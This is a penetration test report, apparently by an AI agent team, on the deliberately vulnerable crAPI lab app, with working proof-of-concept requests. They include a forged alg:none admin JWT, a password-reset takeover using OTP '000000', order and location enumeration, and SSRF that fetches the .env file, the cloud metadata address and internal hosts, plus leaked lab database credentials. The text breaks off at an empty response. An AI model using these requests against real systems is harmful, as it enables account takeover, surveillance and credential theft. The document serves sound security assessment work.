Security Assessment Report

Comprehensive Penetration Test — crAPI Application at aigentx-lab.komodosec.com

📊 Executive Summary

The AigentX security team conducted a full penetration test of the crAPI application at https://aigentx-lab.komodosec.com between May 13–14, 2026. The assessment identified 35 security findings: 14 High, 6 Medium, 4 Low, and 11 Informational. The overall security posture of the application is critically deficient, with multiple independent attack paths leading to complete account takeover, unauthorized data access across all user accounts, and direct financial fraud. The most severe issues stem from foundational authentication failures that undermine the entire security model of the platform.

The most critical findings include: (1) a complete absence of JWT signature verification — any forged token is accepted by all authenticated endpoints; (2) a password reset mechanism that accepts any arbitrary 6-digit OTP without rate limiting, enabling cross-user account takeover with OTP "000000" for any account; (3) three Broken Object Level Authorization (BOLA) vulnerabilities exposing real-time GPS location data, payment card metadata, and administrative PII to any authenticated user; (4) a Server-Side Request Forgery vulnerability that exfiltrates database credentials and reaches the internal Docker network and AWS EC2 Instance Metadata Service; and (5) a publicly accessible .env file disclosing all database credentials to any unauthenticated internet-connected attacker. Five high-impact attack chains were identified and confirmed, enabling mass GPS surveillance, full platform account compromise, infrastructure-level credential exfiltration, and unlimited financial fraud.

Immediate remediation priority must be assigned to: enforcing JWT RS256 signature validation and algorithm pinning, implementing cryptographically secure OTP generation and rate limiting on all authentication flows, adding ownership checks to all BOLA-affected endpoints, blocking SSRF via URL allowlisting, and removing the .env file from the web root. Until these issues are resolved, the application should not be exposed to untrusted users or process real financial data. The team recommends a follow-up re-test after remediation of all High findings to verify effectiveness of fixes before production deployment.

0 Critical
14 High
6 Medium
4 Low
11 Info

📝 Conclusion & Recommendations

The crAPI application demonstrates a broad and severe attack surface typical of intentionally vulnerable training applications. The combination of absent JWT signature validation and an OTP bypass on the password reset endpoint means that any authenticated user can compromise any other account — including admin — in under 30 seconds. The three BOLA vulnerabilities collectively expose real-time physical location, financial data, and administrative contact information for all users. The SSRF vulnerability provides a server-side pivot point that reaches internal infrastructure and cloud metadata. These findings, particularly in combination as attack chains, represent material risk to user privacy, financial integrity, and platform availability. Remediation of the High severity findings should be treated as an emergency priority before the application is used with real user data.

Recommendations

  1. Critical Priority — JWT Signature Validation: Configure NimbusJwtDecoder with a fixed RS256 algorithm; reject tokens with any other alg value including none. Enforce the exp claim. Rotate the RSA keypair.
  2. Critical Priority — Password Reset OTP: Generate cryptographically random OTPs server-side with 10-minute TTL; validate exact match; require a prior forgot-password request; enforce 5-attempt lockout per email per hour.
  3. Critical Priority — BOLA Endpoints: Add ownership checks to /identity/api/v2/vehicle/{id}/location, /workshop/api/shop/orders/{id}, and /workshop/api/mechanic/mechanic_report?report_id={id}; return HTTP 403 for unauthorized access; replace sequential IDs with UUIDs.
  4. Critical Priority — SSRF: Implement a strict URL allowlist for mechanic_api; block RFC 1918 and link-local ranges at the network layer; do not return mechanic API response bodies to clients.
  5. Critical Priority — .env Exposure: Remove the .env file from the web root immediately; configure OpenResty to deny all dotfile access; rotate all exposed database credentials.
  6. High Priority — File Upload: Validate file type via magic bytes; whitelist video extensions; serve uploaded files outside the web root with Content-Disposition: attachment.
  7. High Priority — Token Revocation: Maintain a server-side jti blocklist; revoke tokens on password change; implement a /logout endpoint; enforce exp claim validation.
  8. High Priority — Coupon Authorization: Restrict /community/api/v2/coupon/new-coupon to ROLE_ADMIN only; validate coupon amounts are positive.
  9. High Priority — Business Logic: Validate quantity >= 1 on all shop order endpoints at the API and database layer.
  10. High Priority — Email Change OTP Rate Limiting: Enforce 5-attempt lockout on /identity/api/v2/user/verify-email-token; set 5-minute token expiry.
  11. Medium Priority — FFmpeg Injection: Validate conversion_params against an allowlist; use array-based exec to prevent shell interpretation.
  12. Medium Priority — Error Messages: Set server.error.include-message=never in Spring Boot; implement sanitized global exception handlers.
  13. Medium Priority — CORS: Replace Access-Control-Allow-Origin: * with explicit trusted origins in the Django workshop service.
  14. Medium Priority — Algorithm Confusion: After fixing JWT validation, pin RS256 at the library level to prevent alg header override.
  15. Low Priority — Security Headers: Apply CSP, Referrer-Policy, Permissions-Policy, and HSTS uniformly at the Caddy reverse proxy layer; suppress server version in headers and error pages.

Application security recommendations

  • Implement step-up authentication (MFA challenge) for high-privilege operations such as email changes and password resets.
  • Add comprehensive security logging and alerting for anomalous access patterns (mass IDOR enumeration, repeated OTP failures, abnormal order quantities).
  • Establish a security header policy at the Caddy reverse proxy layer to ensure uniform application of CSP, HSTS, X-Frame-Options, and other headers across all services.
  • Conduct periodic automated dependency scanning for the Spring Boot, Go, and Python/Django microservices to detect CVEs in third-party libraries.

🎯 Scope & Methodology

Scope

The assessment covered the crAPI application at https://aigentx-lab.komodosec.com, including: the identity service (Spring Boot, JWT authentication, user management, vehicle management, file upload), the community service (Go, MongoDB, community posts, coupon management), the workshop service (Python/Django, PostgreSQL, shop, mechanic reports, SSRF-vulnerable contact mechanic endpoint), REST API endpoints across all three microservices, authentication and authorization flows (login, registration, password reset, email change), file upload functionality (video upload with ffmpeg processing), business logic (shop orders, coupon creation and redemption), and all discovered endpoints including the .env file, JWKS endpoint, and health check endpoints. Testing was performed from the perspective of two authenticated regular user accounts (yossi+first@komodosec.com, yossi+second@komodosec.com) using valid JWT tokens. The platform runs behind an OpenResty/Nginx reverse proxy and Caddy load balancer on AWS EC2.

Methodology

The assessment followed an orchestrated phased penetration testing methodology. Phase 1 (Reconnaissance and Fingerprinting) identified technologies, discovered endpoints, and mapped the attack surface using active probing of publicly accessible paths. Phase 2 (Attack Surface Mapping) enumerated 28 API endpoints, confirmed BOLA candidates, identified SSRF and file upload vectors, and established testing priorities. Phase 3 (Vulnerability Discovery) deployed six specialized subagents in parallel: automated-disclosure-headers (information disclosure, header analysis), auth-and-jwt (authentication flaws, JWT manipulation), bola-and-access-control (BOLA across vehicle, order, and report endpoints), injection-and-ssrf (SSRF via contact_mechanic, SQL and NoSQL injection), business-logic-upload-and-coupon (ffmpeg injection, file upload, coupon manipulation, shop logic), and api-bola-and-mass-assignment (mass assignment, broken function authorization). Phase 4 (Validation and Exploitation) independently confirmed and exploited all candidate findings, demonstrated end-to-end attack chains, and filtered false positives. Phase 6 (Report Generation) consolidated validated findings with full HTTP evidence. The assessment follows OWASP Top 10 2021, OWASP API Security Top 10, MITRE ATT&CK, and CVSS 4.0 scoring.

🔍 Detailed Findings

HIGH

JWT Signature Validation Completely Absent — Any Token Accepted for Any User

Description

The identity service issues RS256-signed JWTs as the primary authentication mechanism for all API endpoints across the platform. Tokens carry the user's identity (sub), role, and expiry claim, and the cryptographic signature is expected to guarantee server issuance.

During testing, the team found that the service performs no cryptographic verification of the JWT signature whatsoever: tokens with the alg:none algorithm, tokens with arbitrary garbage signatures, and tokens whose exp claim is in the past (year 2001) are all accepted without error. Phase 4 validation confirmed that a forged alg:none token for admin@example.com with role:admin returned HTTP 200 with the admin's full profile including credit balance, phone number, and ROLE_ADMIN assignment.

An attacker constructs a token with an arbitrary sub claim and an empty signature, submits it to any authenticated endpoint, and receives the target account's data with full write access. This applies universally to every endpoint on the platform.

CWE-347: Improper Verification of Cryptographic Signature.

Location

https://aigentx-lab.komodosec.com/identity/api/v2/user/dashboard (and all authenticated endpoints on the platform)

Impact

Complete authentication bypass for any user including admin@example.com. An unauthenticated attacker can impersonate any user, access all private data, perform account actions, and combine with BOLA findings to compromise the entire platform. No credentials are required.

🔬 Proof of Concept
Replication Summary

A forged alg:none JWT with sub=admin@example.com and role=admin (empty signature) was submitted to the dashboard endpoint and received HTTP 200 with the admin's full profile and ROLE_ADMIN role assignment.

Reproduction Steps
  1. Construct JWT header: base64url({"alg":"none","typ":"JWT"})
  2. Construct JWT payload: base64url({"sub":"admin@example.com","iat":1778752762,"exp":9999999999,"role":"admin"})
  3. Form token: header + "." + payload + "." (empty signature)
  4. Send GET /identity/api/v2/user/dashboard with Authorization: Bearer <forged_token>
  5. Observe HTTP 200 with admin's full profile and ROLE_ADMIN
Request
GET /identity/api/v2/user/dashboard HTTP/2 Host: aigentx-lab.komodosec.com Authorization: Bearer eyJhbGciOiAibm9uZSIsICJ0eXAiOiAiSldUIn0.eyJzdWIiOiAiYWRtaW5AZXhhbXBsZS5jb20iLCAiaWF0IjogMTc3ODc1Mjc2MiwgImV4cCI6IDk5OTk5OTk5OTksICJyb2xlIjogImFkbWluIn0.
Response
HTTP/2 200 OK cache-control: no-cache, no-store, max-age=0, must-revalidate x-frame-options: DENY {"id":5,"name":"Admin","email":"admin@example.com","number":"9010203040","picture_url":null,"video_url":"data:image/jpeg;base64,B7HoBfK09fDx0A==","video_name":"Admin_video","available_credit":100.0,"video_id":5,"role":"ROLE_ADMIN"}
What This Proves

The server returned HTTP 200 with admin@example.com's full profile and ROLE_ADMIN in response to a token with no cryptographic signature. This confirms JWT signature verification is entirely absent. Garbage-signature and expired-token (exp=year 2001) tests also returned HTTP 200.

Remediation
  • Enforce RS256 signature verification on every request using the actual RSA private key; reject tokens that fail cryptographic validation with HTTP 401.
  • Pin the accepted algorithm to RS256 at the library configuration level; reject tokens presenting any other alg value including none, HS256, HS384, or HS512.
  • Validate the exp claim on every token and reject any token whose expiry is in the past.
  • Use a hardened JWT library with algorithm pinning (e.g., spring-security-oauth2-resource-server with NimbusJwtDecoder configured with a fixed JWSAlgorithm).
  • Rotate the RSA keypair immediately and restrict the JWKS endpoint to authorized clients only.
CVSS Score

8.7 (High) — CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N

HIGH

Password Reset OTP Completely Bypassed — Any 6-Digit OTP Accepted, Cross-User Account Takeover

Description

The password reset endpoint is the account recovery mechanism that allows users to regain access using a one-time passcode sent to their registered email address. The endpoint accepts a target email, a 6-digit OTP, and a new password in the request body.

During testing, the team found that OTP '000000' is accepted universally for any account without any prior forgot-password request, without rate limiting, and without lockout. An authenticated user can reset any other user's password by supplying the target's email, OTP 000000, and a new password. The team confirmed this by resetting adam007@example.com's password using user1's token, receiving HTTP 200 "Password reset successful". All 10 sequential OTP values from 000000 to 999999 were tested and accepted.

The endpoint requires no relationship between the authenticated token's identity and the email being targeted, enabling cross-user account takeover for any account whose email address is known. CWE-640: Weak Password Recovery Mechanism for Forgotten Password.

Location

POST https://aigentx-lab.komodosec.com/identity/api/v2/user/reset-password — email, otp, password parameters

Impact

Any authenticated user can take over any other account including admin@example.com (whose email is exposed via mechanic reports). Combined with the community posts email disclosure, all platform user accounts are vulnerable to mass account takeover in seconds.

🔬 Proof of Concept
Replication Summary

OTP '000000' was submitted for adam007@example.com using user1's token without any prior forgot-password flow. The server accepted the OTP and reset the password. Follow-on login with the new password confirmed full account takeover.

Reproduction Steps
  1. Authenticate as any user (user1) to obtain a valid Bearer token
  2. POST to /identity/api/v2/user/reset-password with target email=adam007@example.com, otp=000000, password=Hacked123!
  3. Observe HTTP 200 "Password reset successful"
  4. POST to /identity/api/auth/login with adam007@example.com and Hacked123!
  5. Observe HTTP 200 with a valid JWT — account takeover confirmed
Request
POST /identity/api/v2/user/reset-password HTTP/2 Host: aigentx-lab.komodosec.com Authorization: Bearer eyJhbGciOiJSUzI1NiJ9.eyJzdWIiOiJ5b3NzaStmaXJzdEBrb21vZG9zZWMuY29tIiwiaWF0IjoxNzc4NzUyNzYyLCJleHAiOjE3NzkzNTc1NjIsInJvbGUiOiJ1c2VyIn0.<sig> Content-Type: application/json {"email":"adam007@example.com","otp":"000000","password":"Hacked123!"}
Response
HTTP/2 200 OK Content-Type: application/json {"message":"Password reset successful.","status":0}
What This Proves

The server accepted OTP 000000 for a target account without any prior forgot-password request. All 10 OTP values (000000, 111111, ..., 999999) returned HTTP 200 with no rate limiting. Follow-on login confirmed successful account takeover.

Remediation
  • Generate a cryptographically random OTP server-side, store its bcrypt hash with a 10-minute TTL, and validate the exact match — never accept arbitrary values.
  • Require a prior forgot-password request before accepting reset attempts; associate the OTP strictly with the requested email and invalidate after first use.
  • Enforce rate limiting of 3–5 OTP attempts per email per hour with automatic lockout.
  • Associate the OTP with the user's session or a signed state token to prevent cross-user targeting.
  • Log and alert on any password reset for accounts the requesting user does not own.
CVSS Score

8.7 (High) — CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

HIGH

JWT Tokens Not Revoked After Password Change — Stolen Tokens Remain Valid Indefinitely

Description

JWT-based sessions on the platform do not implement any form of server-side token revocation. When a user's password changes, all previously issued tokens for that account remain fully valid. The platform also lacks a functioning logout endpoint — POST /identity/api/auth/logout returns HTTP 404.

During testing, the team found that a token issued before a password change continues to return HTTP 200 with full account data after the password was reset multiple times. Additionally, the exp claim is not validated (as confirmed by the JWT signature finding), meaning tokens never naturally expire either. There is no mechanism for a user or administrator to invalidate a compromised token under any circumstances.

The absence of token revocation means a stolen credential remains usable indefinitely regardless of any remediation action taken by the victim. CWE-613: Insufficient Session Expiration.

Location

POST https://aigentx-lab.komodosec.com/identity/api/v2/user/reset-password (trigger), POST /identity/api/auth/logout (returns 404), all authenticated endpoints

Impact

An attacker who steals a JWT via SSRF, XSS, network interception, or log exposure retains permanent access even after the victim changes their password. Combined with the OTP bypass account takeover, an attacker who resets a victim's password retains access even after the victim recovers their account.

🔬 Proof of Concept
Replication Summary

A token issued for yossi+first@komodosec.com was used to access the dashboard after multiple password resets on the same account. HTTP 200 was returned each time. The logout endpoint returned HTTP 404.

Reproduction Steps
  1. Record the original Bearer token for yossi+first@komodosec.com (iat=1778752762)
  2. Change the account password via POST /identity/api/v2/user/reset-password
  3. Use the original (pre-change) token to GET /identity/api/v2/user/dashboard
  4. Observe HTTP 200 — token not invalidated after password change
  5. POST to /identity/api/auth/logout with valid token — observe HTTP 404
Request
GET /identity/api/v2/user/dashboard HTTP/2 Host: aigentx-lab.komodosec.com Authorization: Bearer eyJhbGciOiJSUzI1NiJ9.eyJzdWIiOiJ5b3NzaStmaXJzdEBrb21vZG9zZWMuY29tIiwiaWF0IjoxNzc4NzUyNzYyLCJleHAiOjE3NzkzNTc1NjIsInJvbGUiOiJ1c2VyIn0.<sig>
Response
HTTP/2 200 OK {"id":8,"name":"First User","email":"yossi+first@komodosec.com","available_credit":80.0,"role":"ROLE_USER"} -- Token still valid after multiple password changes POST /identity/api/auth/logout HTTP/2 HTTP/2 404 Not Found {"detail":"No static resource identity/api/auth/logout."}
What This Proves

The server returned HTTP 200 with full account data for a token issued before password changes. The logout endpoint does not exist, confirming no session termination mechanism is available to users.

Remediation
  • Maintain a server-side token revocation blocklist keyed by the token's jti claim; check it on every request.
  • On password change events, increment a credential version counter per user and embed it in the JWT; reject tokens with outdated version claims.
  • Enforce the exp claim — reject any token past its expiry time with HTTP 401.
  • Implement a /logout endpoint that adds the token's jti to the revocation blocklist.
  • Use short-lived access tokens (15–30 minutes) with refresh token rotation to limit blast radius of token theft.
CVSS Score

8.3 (High) — CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N

HIGH

BOLA — Cross-User Vehicle GPS Location Tracking

Description

The vehicle location endpoint returns real-time GPS coordinates, full name, and email address for a given vehicleId. This endpoint is part of the identity service and is designed to allow vehicle owners to check their vehicle's current location.

During testing, the team found that the endpoint performs no ownership validation — any authenticated user can supply any vehicleId and receive the location data for the corresponding vehicle owner. Vehicle IDs are exposed in cleartext in the community posts endpoint author objects, providing a straightforward enumeration path. Phase 4 validation confirmed user1's token retrieved adam007@example.com's GPS coordinates (latitude 32.778889, longitude -91.919243) along with full name and email. Vehicle IDs for three additional users were confirmed accessible.

The absence of ownership checks on a real-time location endpoint allows any authenticated user to perform continuous GPS surveillance of all registered users. CWE-639: Authorization Bypass Through User-Controlled Key.

Location

GET https://aigentx-lab.komodosec.com/identity/api/v2/vehicle/{vehicleid}/location — vehicleid path parameter (UUID)

Impact

Real-time physical surveillance of any registered user on the platform. An attacker can track the GPS location of all users simultaneously, enabling targeted physical harm, stalking, or social engineering attacks combining location data with the exposed email and full name.

🔬 Proof of Concept
Replication Summary

User1's token was used to retrieve GPS coordinates for adam007@example.com's vehicle using the vehicleId harvested from the community posts endpoint. Three additional users' locations were also confirmed accessible.

Reproduction Steps
  1. GET /community/api/v2/community/posts/recent — harvest vehicleId f89b5f21-7829-45cb-a650-299a61090378 from adam007's author object
  2. GET /identity/api/v2/vehicle/f89b5f21-7829-45cb-a650-299a61090378/location with user1's token
  3. Observe GPS coordinates, full name, and email returned for adam007
  4. Repeat with vehicleIds for pogba006 and robot001 to confirm mass tracking
Request
GET /identity/api/v2/vehicle/f89b5f21-7829-45cb-a650-299a61090378/location HTTP/2 Host: aigentx-lab.komodosec.com Authorization: Bearer eyJhbGciOiJSUzI1NiJ9.eyJzdWIiOiJ5b3NzaStmaXJzdEBrb21vZG9zZWMuY29tIiwiaWF0IjoxNzc4NzUyNzYyLCJleHAiOjE3NzkzNTc1NjIsInJvbGUiOiJ1c2VyIn0.<sig>
Response
HTTP/2 200 OK x-frame-options: DENY x-content-type-options: nosniff {"carId":"f89b5f21-7829-45cb-a650-299a61090378","vehicleLocation":{"id":1,"latitude":"32.778889","longitude":"-91.919243"},"fullName":"Adam","email":"adam007@example.com"} -- Additional victims confirmed: pogba006: lat=31.284788, lon=-92.471176 robot001: lat=37.746880, lon=-84.301460
What This Proves

The server returned GPS coordinates (lat 32.778889, lon -91.919243), full name, and email for a vehicle owned by a different user. No ownership check was performed. Mass GPS tracking of all users who have posted to the community is possible with a single authenticated account.

Remediation
  • Implement a server-side ownership check: extract the user identity from the JWT and verify the requested vehicleId belongs to that user before returning location data.
  • Return HTTP 403 Forbidden when an authenticated user requests a vehicleId they do not own.
  • Remove vehicleId from the community posts author response object.
  • Log and alert on any request where the authenticated user's vehicleId does not match the requested vehicleId.
CVSS Score

7.1 (High) — CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

HIGH

BOLA — Sequential Shop Order IDs Expose Payment Card Data and PII of All Users

Description

The shop orders endpoint uses sequential integer IDs assigned at order creation and is designed to allow users to view their own order history and payment details.

During testing, the team found that the endpoint performs no ownership check — any authenticated user can enumerate orders from ID 1 upward and retrieve other users' email addresses, phone numbers, payment card type, card expiry date, card owner name, and transaction IDs. Phase 4 validation confirmed user1's token accessed order 1 (owned by adam007) and received full payment details including Visa card ending 9541, expiry 12/2027. Seven distinct orders belonging to five different users were confirmed accessible, including admin@example.com's order 5.

Sequential IDs combined with absent ownership checks allow complete enumeration of all platform payment records. CWE-639: Authorization Bypass Through User-Controlled Key.

Location

GET https://aigentx-lab.komodosec.com/workshop/api/shop/orders/{order_id} — order_id path parameter (sequential integer)

Impact

Full exposure of payment card metadata and PII for every user who has placed an order. Enables financial fraud, targeted phishing using real payment data, and identity theft. Admin account payment information is also exposed.

🔬 Proof of Concept
Replication Summary

User1's token was used to access order ID 1, owned by adam007@example.com, retrieving full payment card metadata and PII. Seven orders across five users were confirmed accessible by incrementing the order ID.

Reproduction Steps
  1. Authenticate as user1 (yossi+first@komodosec.com)
  2. GET /workshop/api/shop/orders/1 — observe adam007's email, phone, and payment card
  3. Enumerate IDs 2, 3, 4, 5 to access pogba006, robot001, test@example.com, and admin@example.com orders
Request
GET /workshop/api/shop/orders/1 HTTP/2 Host: aigentx-lab.komodosec.com Authorization: Bearer eyJhbGciOiJSUzI1NiJ9.eyJzdWIiOiJ5b3NzaStmaXJzdEBrb21vZG9zZWMuY29tIiwiaWF0IjoxNzc4NzUyNzYyLCJleHAiOjE3NzkzNTc1NjIsInJvbGUiOiJ1c2VyIn0.<sig>
Response
HTTP/2 200 OK x-content-type-options: nosniff {"order":{"id":1,"user":{"email":"adam007@example.com","number":"9876895423"},"product":{"id":1,"name":"Seat","price":"10.00"},"quantity":2,"status":"delivered","transaction_id":"97ff294e-75ae-4f14-bd86-60a112bb39b8"},"payment":{"card_number":"XXXXXXXXXXXX9541","card_owner_name":"Adam","card_type":"Visa","card_expiry":"12/2027","currency":"USD"}} -- All 7 orders (IDs 1–5, 6–7 own user) confirmed accessible: Order 2: pogba006@example.com — MasterCard ending 9918, exp 02/2029 Order 3: robot001@example.com — MasterCard ending 8954 Order 4: test@example.com — Discover Card ending 3555 Order 5: admin@example.com — MasterCard ending 3656
What This Proves

The server returned adam007's email, phone number, transaction ID, and payment card details (Visa ending 9541, exp 12/2027) to a request from a different user. Complete payment data for all five users who have placed orders was accessible by incrementing the integer order ID.

Remediation
  • Enforce ownership on all order lookups: the order's user field must match the authenticated user's identity from the JWT sub claim.
  • Return HTTP 403 Forbidden when an authenticated user requests an order they do not own.
  • Replace sequential integer order IDs with UUIDs to prevent enumeration.
  • Apply PCI-DSS tokenization: do not return card numbers in API responses; use payment processor tokens only.
CVSS Score

7.1 (High) — CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

HIGH

BOLA / Broken Function Level Authorization — Mechanic Reports Expose Admin and User PII

Description

The mechanic report endpoint is designed for mechanics and administrators to view vehicle service records associated with repair requests. The endpoint should require ROLE_MECHANIC or ROLE_ADMIN in addition to authentication.

During testing, the team found two co-existing flaws: (1) no role-based access control — a regular user JWT with ROLE_USER is accepted without any role restriction; (2) sequential integer report IDs with no ownership check — any authenticated user can iterate report_id values to read any service record. Phase 4 validation confirmed user1 (ROLE_USER) accessed report_id=1 and received admin@example.com's phone number (9010203040), vehicle VIN (6NBBY70FWUM324316), and full problem description including personal contact details verbatim in the text field. All 5 reports (IDs 1–5) were confirmed accessible.

The combination of BFLA (wrong role accepted) and BOLA (sequential IDs, no ownership) provides unrestricted access to all service records on the platform. CWE-639 / CWE-285.

Location

GET https://aigentx-lab.komodosec.com/workshop/api/mechanic/mechanic_report?report_id={id} — report_id query parameter (sequential integer)

Impact

Admin account PII (phone, VIN, email) is directly accessible by any regular user, enabling social engineering, targeted account takeover via OTP bypass, and physical targeting. Sequential IDs allow complete enumeration of all service records across all users.

🔬 Proof of Concept
Replication Summary

User1 (ROLE_USER) accessed mechanic report ID 1, which belongs to admin@example.com's vehicle, retrieving the admin's phone number, VIN, email, and full problem description text.

Reproduction Steps
  1. Authenticate as a regular user (user1, ROLE_USER)
  2. GET /workshop/api/mechanic/mechanic_report?report_id=1 with user1's token
  3. Observe admin@example.com's phone number, VIN, and contact details returned
  4. Enumerate report IDs 2–5 for additional users' data
Request
GET /workshop/api/mechanic/mechanic_report?report_id=1 HTTP/2 Host: aigentx-lab.komodosec.com Authorization: Bearer eyJhbGciOiJSUzI1NiJ9.eyJzdWIiOiJ5b3NzaStmaXJzdEBrb21vZG9zZWMuY29tIiwiaWF0IjoxNzc4NzUyNzYyLCJleHAiOjE3NzkzNTc1NjIsInJvbGUiOiJ1c2VyIn0.<sig>
Response
HTTP/2 200 OK x-content-type-options: nosniff {"id":1,"mechanic":{"id":2,"mechanic_code":"TRAC_JME","user":{"email":"james@example.com","number":""}},"vehicle":{"id":5,"vin":"6NBBY70FWUM324316","owner":{"email":"admin@example.com","number":"9010203040"}},"problem_details":"My car Audi - RS7 is having issues.\nCan you give me a call on my mobile 9010203040,\nOr send me an email at admin@example.com\nThanks,\nAdmin.\n","status":"cancelled","created_on":"13 May, 2026, 14:39:38"}
What This Proves

A ROLE_USER token received admin@example.com's phone number (9010203040), VIN (6NBBY70FWUM324316), and full contact details from a service record. No role check or ownership check was enforced. All 5 report IDs were accessible to regular users.

Remediation
  • Enforce role-based access control: only ROLE_MECHANIC or ROLE_ADMIN tokens should be permitted on the mechanic_report endpoint.
  • Enforce ownership: a vehicle owner should only access reports for their own vehicle; a mechanic should only access reports assigned to them.
  • Replace sequential integer report IDs with UUIDs to eliminate enumeration.
  • Apply server-side PII masking before storage or warn users against including phone numbers and emails in problem_details.
CVSS Score

7.1 (High) — CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

HIGH

SSRF with Full Response Exfiltration via contact_mechanic mechanic_api Field

Description

The contact_mechanic endpoint submits a service request to a mechanic by fetching the URL provided in the mechanic_api request field and returning the complete HTTP response body to the caller. The field is designed to hold the mechanic's callback API URL.

During testing, the team found that the mechanic_api field accepts arbitrary URLs with no validation. The server makes a full outbound HTTP request to the supplied URL and embeds the complete response in the response_from_mechanic_api field. Phase 4 validation confirmed three distinct vectors: (1) fetching https://aigentx-lab.komodosec.com/.env returned all database credentials verbatim in the API response; (2) the AWS EC2 IMDS at http://169.254.169.254/latest/meta-data/ is reachable (HTTP 401 returned, confirming network accessibility with IMDSv2 enforced); (3) the internal Docker network at http://172.18.0.11/ returned the full application frontend HTML.

The combination of arbitrary URL acceptance and full response reflection enables server-side reconnaissance and data exfiltration across the internal network and cloud infrastructure. CWE-918: Server-Side Request Forgery.

Location

POST https://aigentx-lab.komodosec.com/workshop/api/merchant/contact_mechanic — mechanic_api parameter (URL in JSON body)

Impact

Any authenticated user can read any HTTP-reachable resource on the server's internal network including sensitive configuration files, internal microservices, and cloud metadata. Direct exfiltration of database credentials confirmed. AWS IMDS reachable — if IMDSv1 is ever re-enabled or the SSRF client supports PUT-based IMDSv2 token acquisition, full IAM credential theft and cloud account compromise is possible.

🔬 Proof of Concept
Replication Summary

The mechanic_api field was set to the .env file URL, causing the server to fetch and return all PostgreSQL and MongoDB database credentials. AWS IMDS reachability and internal Docker network access were also confirmed.

Reproduction Steps
  1. Authenticate as any user
  2. POST to /workshop/api/merchant/contact_mechanic with mechanic_api=https://aigentx-lab.komodosec.com/.env
  3. Observe response_from_mechanic_api containing all database credentials
  4. Repeat with mechanic_api=http://169.254.169.254/latest/meta-data/ to confirm IMDS reachability
  5. Repeat with mechanic_api=http://172.18.0.11/ to confirm Docker internal network reachability
Request
POST /workshop/api/merchant/contact_mechanic HTTP/2 Host: aigentx-lab.komodosec.com Authorization: Bearer eyJhbGciOiJSUzI1NiJ9.eyJzdWIiOiJ5b3NzaStmaXJzdEBrb21vZG9zZWMuY29tIiwiaWF0IjoxNzc4NzUyNzYyLCJleHAiOjE3NzkzNTc1NjIsInJvbGUiOiJ1c2VyIn0.<sig> Content-Type: application/json {"mechanic_code":"TRAC_JHN","problem_details":"test","vin":"test","mechanic_api":"https://aigentx-lab.komodosec.com/.env"}
Response
HTTP/2 200 OK referrer-policy: same-origin x-content-type-options: nosniff {"response_from_mechanic_api":"DB_NAME=crapi\nDB_USER=crapi\nDB_PASSWORD=crapi\nDB_HOST=postgresdb\nDB_PORT=5432\nSERVER_PORT=8080\nMONGO_DB_HOST=mongodb\nMONGO_DB_PORT=27017\nMONGO_DB_USER=crapi\nMONGO_DB_PASSWORD=crapi\nMONGO_DB_NAME=crapi\n","status":200} -- IMDS test: mechanic_api=http://169.254.169.254/latest/meta-data/ {"response_from_mechanic_api":"<html>...401 - Unauthorized...","status":401} -- IMDS reachable; IMDSv2 enforcement blocks simple GET credential retrieval -- Docker network test: mechanic_api=http://172.18.0.11/ {"response_from_mechanic_api":"<!doctype html><html lang=en><head>...crAPI frontend HTML...","status":200} -- Internal IP 172.18.0.11 reachable from workshop service
What This Proves

The server fetched the .env file and returned all database credentials in the API response. The AWS IMDS at 169.254.169.254 returned a response (HTTP 401), confirming the link-local address is network-accessible from the workshop container. The internal Docker host 172.18.0.11 returned application HTML, confirming Docker bridge network (172.18.0.0/16) reachability.

Remediation
  • Implement a strict allowlist of permitted mechanic API hostnames; reject all other URLs including internal IPs, link-local addresses, and localhost.
  • Block outbound connections to RFC 1918 ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16) and link-local (169.254.0.0/16) at the network layer via security group egress rules.
  • Do not return raw response bodies from mechanic_api callbacks to the client; return only a success/failure status.
  • Enforce IMDSv2 hop limit=1 at the EC2 instance level to prevent container SSRF from reaching IMDS.
  • Segment the Docker network so the workshop service cannot communicate with database containers.
CVSS Score

8.7 (High) — CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N

HIGH

Exposed .env File Leaking Database Credentials Without Authentication

Description

The application stores its environment configuration in a .env file located in the web root, which is accessible to any internet-connected client without authentication. The .env format is a common configuration file used by containerized applications to store environment-specific settings including database credentials, service hostnames, and port numbers.

During testing, the team found that an unauthenticated GET request to /.env returns the complete database configuration including credentials for both PostgreSQL and MongoDB, internal service hostnames, and port numbers. Phase 4 validation confirmed the file remains publicly accessible at the time of assessment. The file is also retrievable via the confirmed SSRF vulnerability as an additional access vector.

Public exposure of database credentials represents a severe security failure regardless of whether the databases are directly internet-accessible, as credentials enable SSRF-assisted lateral movement and future attack chaining. CWE-312: Cleartext Storage of Sensitive Information / CWE-538: Insertion of Sensitive Information into Externally-Accessible File.

Location

GET https://aigentx-lab.komodosec.com/.env — no authentication required

Impact

Database credentials (PostgreSQL crapi:crapi@postgresdb:5432, MongoDB crapi:crapi@mongodb:27017) and internal service topology are fully exposed to any internet-connected attacker without requiring any prior access. Credentials confirm the database configuration for SSRF-assisted lateral movement to internal services.

🔬 Proof of Concept
Replication Summary

An unauthenticated GET request to /.env returned the complete database credential file with PostgreSQL and MongoDB credentials, hostnames, and port numbers.

Reproduction Steps
  1. Send an unauthenticated GET request to https://aigentx-lab.komodosec.com/.env
  2. Observe HTTP 200 response with content-type: application/octet-stream
  3. Observe complete database credentials, hostnames, and port numbers in the response body
Request
GET /.env HTTP/2 Host: aigentx-lab.komodosec.com (no authentication headers)
Response
